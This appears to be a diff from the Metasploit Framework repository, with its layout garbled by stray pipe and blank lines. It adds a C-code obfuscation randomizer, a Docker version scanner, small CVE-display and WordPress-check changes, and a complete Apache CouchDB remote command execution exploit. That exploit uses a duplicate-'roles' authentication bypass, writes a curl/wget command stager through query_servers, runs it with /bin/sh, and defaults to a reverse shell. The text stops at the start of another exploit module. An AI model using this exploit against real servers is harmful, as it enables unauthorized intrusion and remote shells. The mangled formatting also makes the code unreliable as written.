require 'metasploit/framework/obfuscation/crandomizer/utility'
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/modifier'
|
||||||
|
|
||||||
|
module Metasploit
|
||||||
|
module Framework
|
||||||
|
module Obfuscation
|
||||||
|
module CRandomizer
|
||||||
|
|
||||||
|
class Parser
|
||||||
|
attr_accessor :max_random_weight
|
||||||
|
attr_accessor :fake_functions_collection
|
||||||
|
|
||||||
|
# Initializes a Metasploit::Framework::Obfuscation::CRandomizer::Parser instance.
|
||||||
|
#
|
||||||
|
# @param weight [Integer] Randomness of the code.
|
||||||
|
# @param fake_functions [Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::FakeFunctionCollection]
|
||||||
|
def initialize(weight, fake_functions=nil)
|
||||||
|
@max_random_weight = weight
|
||||||
|
@fake_functions_collection = fake_functions
|
||||||
|
end
|
||||||
|
|
||||||
|
# Returns a parser.
|
||||||
|
#
|
||||||
|
# @param template [String] Soure code to parse.
|
||||||
|
# @return [Metasm::C::Parser]
|
||||||
|
def parse(template)
|
||||||
|
main_parser = Metasploit::Framework::Obfuscation::CRandomizer::Utility.parse(template)
|
||||||
|
modifier = Metasploit::Framework::Obfuscation::CRandomizer::Modifier.new(main_parser, fake_functions_collection, max_random_weight)
|
||||||
|
main_parser.toplevel.statements.each do |s|
|
||||||
|
case s.var.type
|
||||||
|
when Metasm::C::Function
|
||||||
|
# Some function objects such as declarations don't really have
|
||||||
|
# any statements, if we run into something like that, skip it.
|
||||||
|
next unless s.var.initializer.respond_to?(:statements)
|
||||||
|
modifier.modify_function(s)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
main_parser
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,132 @@
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/utility'
|
||||||
|
|
||||||
|
module Metasploit
|
||||||
|
module Framework
|
||||||
|
module Obfuscation
|
||||||
|
module CRandomizer
|
||||||
|
|
||||||
|
class RandomStatements
|
||||||
|
|
||||||
|
attr_reader :parser
|
||||||
|
attr_reader :fake_function_collection
|
||||||
|
attr_reader :statements
|
||||||
|
|
||||||
|
# Initializes the RandomStatements class.
|
||||||
|
#
|
||||||
|
# @param fake_functions [Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::FakeFunctionCollection]
|
||||||
|
# @param s [Metasm::C::Declaration]
|
||||||
|
def initialize(p, fake_functions, s=nil)
|
||||||
|
@parser = p
|
||||||
|
@fake_function_collection = fake_functions
|
||||||
|
@statements = [ Proc.new { get_random_statements } ]
|
||||||
|
|
||||||
|
# Only generate fake function calls when the function we are modifying isn't
|
||||||
|
# from one of those fake functions (to avoid a recursion).
|
||||||
|
if s && fake_function_collection && !fake_function_collection.has_function_name?(s.var.name)
|
||||||
|
@statements << Proc.new { get_random_function_call }
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Returns a random statement.
|
||||||
|
#
|
||||||
|
# @return [Array<Metasm::C::CExpression>]
|
||||||
|
# @return [Array<Metasm::C::Declaration>]
|
||||||
|
def get
|
||||||
|
statements.sample.call
|
||||||
|
end
|
||||||
|
|
||||||
|
private
|
||||||
|
|
||||||
|
# Returns function arguments as a string.
|
||||||
|
#
|
||||||
|
# @param args [Array<Metasm::C::Variable>]
|
||||||
|
# @return [String]
|
||||||
|
def make_func_arg_str(args)
|
||||||
|
arg_array = []
|
||||||
|
|
||||||
|
args.each do |arg|
|
||||||
|
case arg.name
|
||||||
|
when 'i'
|
||||||
|
arg_array << %Q|#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}|
|
||||||
|
when 's'
|
||||||
|
arg_array << %Q|"#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_string}"|
|
||||||
|
else
|
||||||
|
raise "Unknown argument type to process"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
%Q|(#{arg_array.join(', ')})|
|
||||||
|
end
|
||||||
|
|
||||||
|
# Returns the arguments (in string) for function declaration.
|
||||||
|
#
|
||||||
|
# @param args [Array<Metasm::C::Variable]
|
||||||
|
# @return [String]
|
||||||
|
def make_func_declare_arg_str(args)
|
||||||
|
arg_array = []
|
||||||
|
args.each do |a|
|
||||||
|
case a.name
|
||||||
|
when 'i'
|
||||||
|
arg_array << 'int'
|
||||||
|
when 's'
|
||||||
|
arg_array << 'char*'
|
||||||
|
else
|
||||||
|
raise "Unknown argument type to process"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
%Q|(#{arg_array.join(', ')})|
|
||||||
|
end
|
||||||
|
|
||||||
|
# Returns a random statement from the Code Factory, excluding:
|
||||||
|
# * The base class
|
||||||
|
# * FakeFunction class
|
||||||
|
# * FakeFunctionCollection class
|
||||||
|
#
|
||||||
|
# @return [Array]
|
||||||
|
def get_random_statements
|
||||||
|
ignored_classes = [:Base, :FakeFunction, :FakeFunctionCollection]
|
||||||
|
class_name = Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory.constants.select { |c|
|
||||||
|
next if ignored_classes.include?(c)
|
||||||
|
Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory.const_get(c).instance_of?(Class)
|
||||||
|
}.sample
|
||||||
|
|
||||||
|
instance = Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory.const_get(class_name).new
|
||||||
|
|
||||||
|
if instance.good_dep?(parser)
|
||||||
|
return Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory.const_get(class_name).new.code
|
||||||
|
else
|
||||||
|
# Call again
|
||||||
|
get_random_statements
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# This function is kind of dangerous, because it could cause an
|
||||||
|
# infinitely loop by accident when random functions call each other.
|
||||||
|
#
|
||||||
|
# @return [Array]
|
||||||
|
def get_random_function_call
|
||||||
|
# There is no fake function collection
|
||||||
|
return [] if fake_function_collection.empty?
|
||||||
|
|
||||||
|
fake_function = fake_function_collection.sample
|
||||||
|
fake_function_name = fake_function.var.name
|
||||||
|
fake_function_args = fake_function.var.type.args
|
||||||
|
fake_function_declare_args_str = make_func_declare_arg_str(fake_function_args)
|
||||||
|
|
||||||
|
arg_str = make_func_arg_str(fake_function_args)
|
||||||
|
template = %Q|
|
||||||
|
void #{fake_function_name}#{fake_function_declare_args_str};
|
||||||
|
void stub() {
|
||||||
|
#{fake_function_name}#{arg_str};
|
||||||
|
}|
|
||||||
|
|
||||||
|
parser = Metasploit::Framework::Obfuscation::CRandomizer::Utility.parse(template)
|
||||||
|
parser.toplevel.statements.last.var.initializer.statements
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,40 @@
|
||||||
|
require 'metasm'
|
||||||
|
require 'securerandom'
|
||||||
|
|
||||||
|
module Metasploit
|
||||||
|
module Framework
|
||||||
|
module Obfuscation
|
||||||
|
module CRandomizer
|
||||||
|
|
||||||
|
class Utility
|
||||||
|
|
||||||
|
# Returns a random number.
|
||||||
|
#
|
||||||
|
# @return [Integer]
|
||||||
|
def self.rand_int
|
||||||
|
SecureRandom.random_number(100)
|
||||||
|
end
|
||||||
|
|
||||||
|
# Returns a random string.
|
||||||
|
#
|
||||||
|
# @return [String]
|
||||||
|
def self.rand_string
|
||||||
|
SecureRandom.hex
|
||||||
|
end
|
||||||
|
|
||||||
|
# Returns a Metasm parser.
|
||||||
|
#
|
||||||
|
# @param code [String] The C code to parse.
|
||||||
|
# @return [Metasm::C::Parser]
|
||||||
|
def self.parse(code)
|
||||||
|
parser = Metasm::C::Parser.new
|
||||||
|
parser.allow_bad_c = true
|
||||||
|
parser.parse(code)
|
||||||
|
parser
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -499,12 +499,32 @@ class ReadableText
|
||||||
|
|
||||||
if (mod.respond_to?(:references) && mod.references && mod.references.length > 0)
|
if (mod.respond_to?(:references) && mod.references && mod.references.length > 0)
|
||||||
output << "References:\n"
|
output << "References:\n"
|
||||||
|
|
||||||
mod.references.each do |ref|
|
mod.references.each do |ref|
|
||||||
if ENV['FUEL_THE_HYPE_MACHINE'] && %w{LOGO SOUNDTRACK}.include?(ref.ctx_id)
|
if ENV['FUEL_THE_HYPE_MACHINE'] && %w{LOGO SOUNDTRACK}.include?(ref.ctx_id)
|
||||||
Rex::Compat.open_browser(ref.ctx_val)
|
Rex::Compat.open_browser(ref.ctx_val)
|
||||||
end
|
end
|
||||||
output << indent + ref.to_s + "\n"
|
output << indent + ref.to_s + "\n"
|
||||||
end
|
end
|
||||||
|
|
||||||
|
cve_collection = mod.references.select { |r| r.ctx_id.match(/^cve$/i) }
|
||||||
|
if cve_collection.empty?
|
||||||
|
output << "#{indent}CVE: Not available\n"
|
||||||
|
end
|
||||||
|
|
||||||
|
mod.references.each { |ref|
|
||||||
|
case ref.ctx_id
|
||||||
|
when 'CVE', 'cve'
|
||||||
|
if !cve_collection.empty? && ref.ctx_val.blank?
|
||||||
|
output << "#{indent}CVE: Not available\n"
|
||||||
|
else
|
||||||
|
output << indent + ref.to_s + "\n"
|
||||||
|
end
|
||||||
|
else
|
||||||
|
output << indent + ref.to_s + "\n"
|
||||||
|
end
|
||||||
|
}
|
||||||
|
|
||||||
output << "\n"
|
output << "\n"
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -38,7 +38,8 @@ module Msf
|
||||||
|
|
||||||
register_advanced_options(
|
register_advanced_options(
|
||||||
[
|
[
|
||||||
Msf::OptString.new('WPCONTENTDIR', [true, 'The name of the wp-content directory', 'wp-content'])
|
Msf::OptString.new('WPCONTENTDIR', [true, 'The name of the wp-content directory', 'wp-content']),
|
||||||
|
Msf::OptBool.new('WPCHECK', [true, 'Check if the website is a valid WordPress install', true]),
|
||||||
], Msf::Exploit::Remote::HTTP::Wordpress
|
], Msf::Exploit::Remote::HTTP::Wordpress
|
||||||
)
|
)
|
||||||
end
|
end
|
||||||
|
|
|
@ -5,6 +5,11 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Base
|
||||||
#
|
#
|
||||||
# @return [Rex::Proto::Http::Response,nil] Returns the HTTP response if the site is online and running wordpress, nil otherwise
|
# @return [Rex::Proto::Http::Response,nil] Returns the HTTP response if the site is online and running wordpress, nil otherwise
|
||||||
def wordpress_and_online?
|
def wordpress_and_online?
|
||||||
|
unless datastore['WPCHECK']
|
||||||
|
vprint_status 'Skipping WordPress check...'
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
|
||||||
wordpress_detect_regexes = [
|
wordpress_detect_regexes = [
|
||||||
/["'][^"']*\/#{Regexp.escape(wp_content_dir)}\/[^"']*["']/i,
|
/["'][^"']*\/#{Regexp.escape(wp_content_dir)}\/[^"']*["']/i,
|
||||||
/<link rel=["']wlwmanifest["'].*href=["'].*\/wp-includes\/wlwmanifest\.xml["'] \/>/i,
|
/<link rel=["']wlwmanifest["'].*href=["'].*\/wp-includes\/wlwmanifest\.xml["'] \/>/i,
|
||||||
|
|
|
@ -65,6 +65,9 @@ module Msf
|
||||||
AUXILIARY_SCANNER_DEMO_TEMPLATE = 'auxiliary_scanner_template.erb'
|
AUXILIARY_SCANNER_DEMO_TEMPLATE = 'auxiliary_scanner_template.erb'
|
||||||
PAYLOAD_DEMO_TEMPLATE = 'payload_demo_template.erb'
|
PAYLOAD_DEMO_TEMPLATE = 'payload_demo_template.erb'
|
||||||
|
|
||||||
|
# Special messages
|
||||||
|
NO_CVE_MESSAGE = %Q|CVE: [Not available](https://github.com/rapid7/metasploit-framework/wiki/Why-is-a-CVE-Not-Available%3F)|
|
||||||
|
|
||||||
|
|
||||||
# Returns the module document in HTML form.
|
# Returns the module document in HTML form.
|
||||||
#
|
#
|
||||||
|
@ -205,6 +208,11 @@ module Msf
|
||||||
# @return [String]
|
# @return [String]
|
||||||
def normalize_references(refs)
|
def normalize_references(refs)
|
||||||
normalized = ''
|
normalized = ''
|
||||||
|
cve_collection = refs.select { |r| r.ctx_id.match(/^cve$/i) }
|
||||||
|
if cve_collection.empty?
|
||||||
|
normalized << "* #{NO_CVE_MESSAGE}\n"
|
||||||
|
end
|
||||||
|
|
||||||
refs.each do |ref|
|
refs.each do |ref|
|
||||||
case ref.ctx_id
|
case ref.ctx_id
|
||||||
when 'AKA'
|
when 'AKA'
|
||||||
|
@ -215,6 +223,10 @@ module Msf
|
||||||
normalized << "* [#{ref.site}](#{ref.site})"
|
normalized << "* [#{ref.site}](#{ref.site})"
|
||||||
when 'US-CERT-VU'
|
when 'US-CERT-VU'
|
||||||
normalized << "* [VU##{ref.ctx_val}](#{ref.site})"
|
normalized << "* [VU##{ref.ctx_val}](#{ref.site})"
|
||||||
|
when 'CVE', 'cve'
|
||||||
|
if !cve_collection.empty? && ref.ctx_val.blank?
|
||||||
|
normalized << "* #{NO_CVE_MESSAGE}"
|
||||||
|
end
|
||||||
else
|
else
|
||||||
normalized << "* [#{ref.ctx_id}-#{ref.ctx_val}](#{ref.site})"
|
normalized << "* [#{ref.ctx_id}-#{ref.ctx_val}](#{ref.site})"
|
||||||
end
|
end
|
||||||
|
|
|
@ -0,0 +1,57 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Auxiliary
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Auxiliary::Scanner
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Docker Server Version Scanner',
|
||||||
|
'Description' => %q{
|
||||||
|
This module attempts to identify the version of a Docker Server running on a
|
||||||
|
host. If you wish to see all the information available, set VERBOSE to true.
|
||||||
|
},
|
||||||
|
'Author' => [ 'Agora-Security' ],
|
||||||
|
'License' => MSF_LICENSE
|
||||||
|
))
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(2375)
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
def run_host(ip)
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => '/version',
|
||||||
|
'method' => 'GET'})
|
||||||
|
if res.nil? || res.code != 200
|
||||||
|
print_error("[Docker Version] failed to identify version")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
result = res.get_json_document
|
||||||
|
print_status("Identifying Docker Server Version on #{peer}")
|
||||||
|
print_good("[Docker Server] Version: #{result['Version']}")
|
||||||
|
print_status ("All info: #{result.to_s}") if datastore['VERBOSE']
|
||||||
|
report_note(
|
||||||
|
:host => ip,
|
||||||
|
:port => rport,
|
||||||
|
:proto => 'tcp',
|
||||||
|
:ntype => 'docker_version',
|
||||||
|
:data => result['Version'],
|
||||||
|
:info => "Docker Server v.#{result['Version']}"
|
||||||
|
)
|
||||||
|
print_status("Saving host information.")
|
||||||
|
report_host(
|
||||||
|
:host => ip,
|
||||||
|
:arch => result['Arch'],
|
||||||
|
:detected_arch => result['Arch'],
|
||||||
|
:os_family => result['Os'],
|
||||||
|
:info => "Docker Server v.#{result['Version']} Kernel Version: #{result['KernelVersion']}"
|
||||||
|
)
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,317 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Exploit::CmdStager
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Apache CouchDB Arbitrary Command Execution',
|
||||||
|
'Description' => %q{
|
||||||
|
CouchDB administrative users can configure the database server via HTTP(S).
|
||||||
|
Some of the configuration options include paths for operating system-level binaries that are subsequently launched by CouchDB.
|
||||||
|
This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user,
|
||||||
|
including downloading and executing scripts from the public internet.
|
||||||
|
},
|
||||||
|
'Author' => [
|
||||||
|
'Max Justicz', # CVE-2017-12635 Vulnerability discovery
|
||||||
|
'Joan Touzet', # CVE-2017-12636 Vulnerability discovery
|
||||||
|
'Green-m <greenm.xxoo[at]gmail.com>' # Metasploit module
|
||||||
|
],
|
||||||
|
'References' => [
|
||||||
|
['CVE', '2017-12636'],
|
||||||
|
['CVE', '2017-12635'],
|
||||||
|
['URL', 'https://justi.cz/security/2017/11/14/couchdb-rce-npm.html'],
|
||||||
|
['URL', 'http://docs.couchdb.org/en/latest/cve/2017-12636.html'],
|
||||||
|
['URL', 'https://lists.apache.org/thread.html/6c405bf3f8358e6314076be9f48c89a2e0ddf00539906291ebdf0c67@%3Cdev.couchdb.apache.org%3E']
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Apr 6 2016',
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => 'linux',
|
||||||
|
'Arch' => [ARCH_X86, ARCH_X64],
|
||||||
|
'Privileged' => false,
|
||||||
|
'DefaultOptions' => {
|
||||||
|
'PAYLOAD' => 'linux/x64/shell_reverse_tcp',
|
||||||
|
'CMDSTAGER::FLAVOR' => 'curl'
|
||||||
|
},
|
||||||
|
'CmdStagerFlavor' => ['curl', 'wget'],
|
||||||
|
'Targets' => [
|
||||||
|
['Automatic', {}],
|
||||||
|
['Apache CouchDB version 1.x', {}],
|
||||||
|
['Apache CouchDB version 2.x', {}]
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 0
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options([
|
||||||
|
Opt::RPORT(5984),
|
||||||
|
OptString.new('URIPATH', [false, 'The URI to use for this exploit to download and execute. (default is random)']),
|
||||||
|
OptString.new('HttpUsername', [false, 'The username to login as']),
|
||||||
|
OptString.new('HttpPassword', [false, 'The password to login with'])
|
||||||
|
])
|
||||||
|
|
||||||
|
register_advanced_options([
|
||||||
|
OptInt.new('Attempts', [false, 'The number of attempts to execute the payload.']),
|
||||||
|
OptString.new('WritableDir', [true, 'Writable directory to write temporary payload on disk.', '/tmp'])
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
get_version
|
||||||
|
version = Gem::Version.new(@version)
|
||||||
|
return CheckCode::Unknown if version.version.empty?
|
||||||
|
vprint_status "Found CouchDB version #{version}"
|
||||||
|
|
||||||
|
return CheckCode::Appears if version < Gem::Version.new('1.7.0') || version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0'))
|
||||||
|
|
||||||
|
CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
fail_with(Failure::Unknown, "Something went horribly wrong and we couldn't continue to exploit.") unless get_version
|
||||||
|
version = @version
|
||||||
|
|
||||||
|
vprint_good("#{peer} - Authorization bypass successful") if auth_bypass
|
||||||
|
|
||||||
|
print_status("Generating #{datastore['CMDSTAGER::FLAVOR']} command stager")
|
||||||
|
@cmdstager = generate_cmdstager(
|
||||||
|
temp: datastore['WritableDir'],
|
||||||
|
file: File.basename(cmdstager_path)
|
||||||
|
).join(';')
|
||||||
|
|
||||||
|
register_file_for_cleanup(cmdstager_path)
|
||||||
|
|
||||||
|
if !datastore['Attempts'] || datastore['Attempts'] <= 0
|
||||||
|
attempts = 1
|
||||||
|
else
|
||||||
|
attempts = datastore['Attempts']
|
||||||
|
end
|
||||||
|
|
||||||
|
attempts.times do |i|
|
||||||
|
print_status("#{peer} - The #{i + 1} time to exploit")
|
||||||
|
send_payload(version)
|
||||||
|
Rex.sleep(5)
|
||||||
|
# break if we get the shell
|
||||||
|
break if session_created?
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# CVE-2017-12635
|
||||||
|
# The JSON parser differences result in behaviour that if two 'roles' keys are available in the JSON,
|
||||||
|
# the second one will be used for authorising the document write, but the first 'roles' key is used for subsequent authorization
|
||||||
|
# for the newly created user.
|
||||||
|
def auth_bypass
|
||||||
|
username = datastore['HttpUsername'] || Rex::Text.rand_text_alpha_lower(4..12)
|
||||||
|
password = datastore['HttpPassword'] || Rex::Text.rand_text_alpha_lower(4..12)
|
||||||
|
@auth = basic_auth(username, password)
|
||||||
|
|
||||||
|
res = send_request_cgi(
|
||||||
|
'uri' => normalize_uri(target_uri.path, "/_users/org.couchdb.user:#{username}"),
|
||||||
|
'method' => 'PUT',
|
||||||
|
'ctype' => 'application/json',
|
||||||
|
'data' => %({"type": "user","name": "#{username}","roles": ["_admin"],"roles": [],"password": "#{password}"})
|
||||||
|
)
|
||||||
|
|
||||||
|
if res && (res.code == 200 || res.code == 201) && res.get_json_document['ok']
|
||||||
|
return true
|
||||||
|
else
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_version
|
||||||
|
@version = nil
|
||||||
|
|
||||||
|
begin
|
||||||
|
res = send_request_cgi(
|
||||||
|
'uri' => normalize_uri(target_uri.path),
|
||||||
|
'method' => 'GET',
|
||||||
|
'authorization' => @auth
|
||||||
|
)
|
||||||
|
rescue Rex::ConnectionError
|
||||||
|
vprint_bad("#{peer} - Connection failed")
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
unless res
|
||||||
|
vprint_bad("#{peer} - No response, check if it is CouchDB. ")
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
if res && res.code == 401
|
||||||
|
print_bad("#{peer} - Authentication required.")
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
if res && res.code == 200
|
||||||
|
res_json = res.get_json_document
|
||||||
|
|
||||||
|
if res_json.empty?
|
||||||
|
vprint_bad("#{peer} - Cannot parse the response, seems like it's not CouchDB.")
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
@version = res_json['version'] if res_json['version']
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
|
||||||
|
vprint_warning("#{peer} - Version not found")
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
|
||||||
|
def send_payload(version)
|
||||||
|
vprint_status("#{peer} - CouchDB version is #{version}") if version
|
||||||
|
|
||||||
|
version = Gem::Version.new(@version)
|
||||||
|
if version.version.empty?
|
||||||
|
vprint_warning("#{peer} - Cannot retrieve the version of CouchDB.")
|
||||||
|
# if target set Automatic, exploit failed.
|
||||||
|
if target == targets[0]
|
||||||
|
fail_with(Failure::NoTarget, "#{peer} - Couldn't retrieve the version automaticly, set the target manually and try again.")
|
||||||
|
elsif target == targets[1]
|
||||||
|
payload1
|
||||||
|
elsif target == targets[2]
|
||||||
|
payload2
|
||||||
|
end
|
||||||
|
elsif version < Gem::Version.new('1.7.0')
|
||||||
|
payload1
|
||||||
|
elsif version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0'))
|
||||||
|
payload2
|
||||||
|
elsif version >= Gem::Version.new('1.7.0') || Gem::Version.new('2.1.0')
|
||||||
|
fail_with(Failure::NotVulnerable, "#{peer} - The target is not vulnerable.")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Exploit with multi requests
|
||||||
|
# payload1 is for the version of couchdb below 1.7.0
|
||||||
|
def payload1
|
||||||
|
rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12)
|
||||||
|
rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12)
|
||||||
|
rand_db = Rex::Text.rand_text_alpha_lower(4..12)
|
||||||
|
rand_doc = Rex::Text.rand_text_alpha_lower(4..12)
|
||||||
|
rand_hex = Rex::Text.rand_text_hex(32)
|
||||||
|
rand_file = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}"
|
||||||
|
|
||||||
|
register_file_for_cleanup(rand_file)
|
||||||
|
|
||||||
|
send_request_cgi(
|
||||||
|
'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd1}"),
|
||||||
|
'method' => 'PUT',
|
||||||
|
'authorization' => @auth,
|
||||||
|
'data' => %("echo '#{@cmdstager}' > #{rand_file}")
|
||||||
|
)
|
||||||
|
|
||||||
|
send_request_cgi(
|
||||||
|
'uri' => normalize_uri(target_uri.path, "/#{rand_db}"),
|
||||||
|
'method' => 'PUT',
|
||||||
|
'authorization' => @auth
|
||||||
|
)
|
||||||
|
|
||||||
|
send_request_cgi(
|
||||||
|
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"),
|
||||||
|
'method' => 'PUT',
|
||||||
|
'authorization' => @auth,
|
||||||
|
'data' => %({"_id": "#{rand_hex}"})
|
||||||
|
)
|
||||||
|
|
||||||
|
send_request_cgi(
|
||||||
|
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_temp_view?limit=20"),
|
||||||
|
'method' => 'POST',
|
||||||
|
'authorization' => @auth,
|
||||||
|
'ctype' => 'application/json',
|
||||||
|
'data' => %({"language":"#{rand_cmd1}","map":""})
|
||||||
|
)
|
||||||
|
|
||||||
|
send_request_cgi(
|
||||||
|
'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd2}"),
|
||||||
|
'method' => 'PUT',
|
||||||
|
'authorization' => @auth,
|
||||||
|
'data' => %("/bin/sh #{rand_file}")
|
||||||
|
)
|
||||||
|
|
||||||
|
send_request_cgi(
|
||||||
|
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_temp_view?limit=20"),
|
||||||
|
'method' => 'POST',
|
||||||
|
'authorization' => @auth,
|
||||||
|
'ctype' => 'application/json',
|
||||||
|
'data' => %({"language":"#{rand_cmd2}","map":""})
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
# payload2 is for the version of couchdb below 2.1.1
|
||||||
|
def payload2
|
||||||
|
rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12)
|
||||||
|
rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12)
|
||||||
|
rand_db = Rex::Text.rand_text_alpha_lower(4..12)
|
||||||
|
rand_doc = Rex::Text.rand_text_alpha_lower(4..12)
|
||||||
|
rand_tmp = Rex::Text.rand_text_alpha_lower(4..12)
|
||||||
|
rand_hex = Rex::Text.rand_text_hex(32)
|
||||||
|
rand_file = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}"
|
||||||
|
|
||||||
|
register_file_for_cleanup(rand_file)
|
||||||
|
|
||||||
|
res = send_request_cgi(
|
||||||
|
'uri' => normalize_uri(target_uri.path, "/_membership"),
|
||||||
|
'method' => 'GET',
|
||||||
|
'authorization' => @auth
|
||||||
|
)
|
||||||
|
|
||||||
|
node = res.get_json_document['all_nodes'][0]
|
||||||
|
|
||||||
|
send_request_cgi(
|
||||||
|
'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd1}"),
|
||||||
|
'method' => 'PUT',
|
||||||
|
'authorization' => @auth,
|
||||||
|
'data' => %("echo '#{@cmdstager}' > #{rand_file}")
|
||||||
|
)
|
||||||
|
|
||||||
|
send_request_cgi(
|
||||||
|
'uri' => normalize_uri(target_uri.path, "/#{rand_db}"),
|
||||||
|
'method' => 'PUT',
|
||||||
|
'authorization' => @auth
|
||||||
|
)
|
||||||
|
|
||||||
|
send_request_cgi(
|
||||||
|
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"),
|
||||||
|
'method' => 'PUT',
|
||||||
|
'authorization' => @auth,
|
||||||
|
'data' => %({"_id": "#{rand_hex}"})
|
||||||
|
)
|
||||||
|
|
||||||
|
send_request_cgi(
|
||||||
|
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_design/#{rand_tmp}"),
|
||||||
|
'method' => 'PUT',
|
||||||
|
'authorization' => @auth,
|
||||||
|
'ctype' => 'application/json',
|
||||||
|
'data' => %({"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd1}"})
|
||||||
|
)
|
||||||
|
|
||||||
|
send_request_cgi(
|
||||||
|
'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd2}"),
|
||||||
|
'method' => 'PUT',
|
||||||
|
'authorization' => @auth,
|
||||||
|
'data' => %("/bin/sh #{rand_file}")
|
||||||
|
)
|
||||||
|
|
||||||
|
send_request_cgi(
|
||||||
|
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_design/#{rand_tmp}"),
|
||||||
|
'method' => 'PUT',
|
||||||
|
'authorization' => @auth,
|
||||||
|
'ctype' => 'application/json',
|
||||||
|
'data' => %({"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd2}"})
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def cmdstager_path
|
||||||
|
@cmdstager_path ||=
|
||||||
|
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8)}"
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,228 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'securerandom'
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
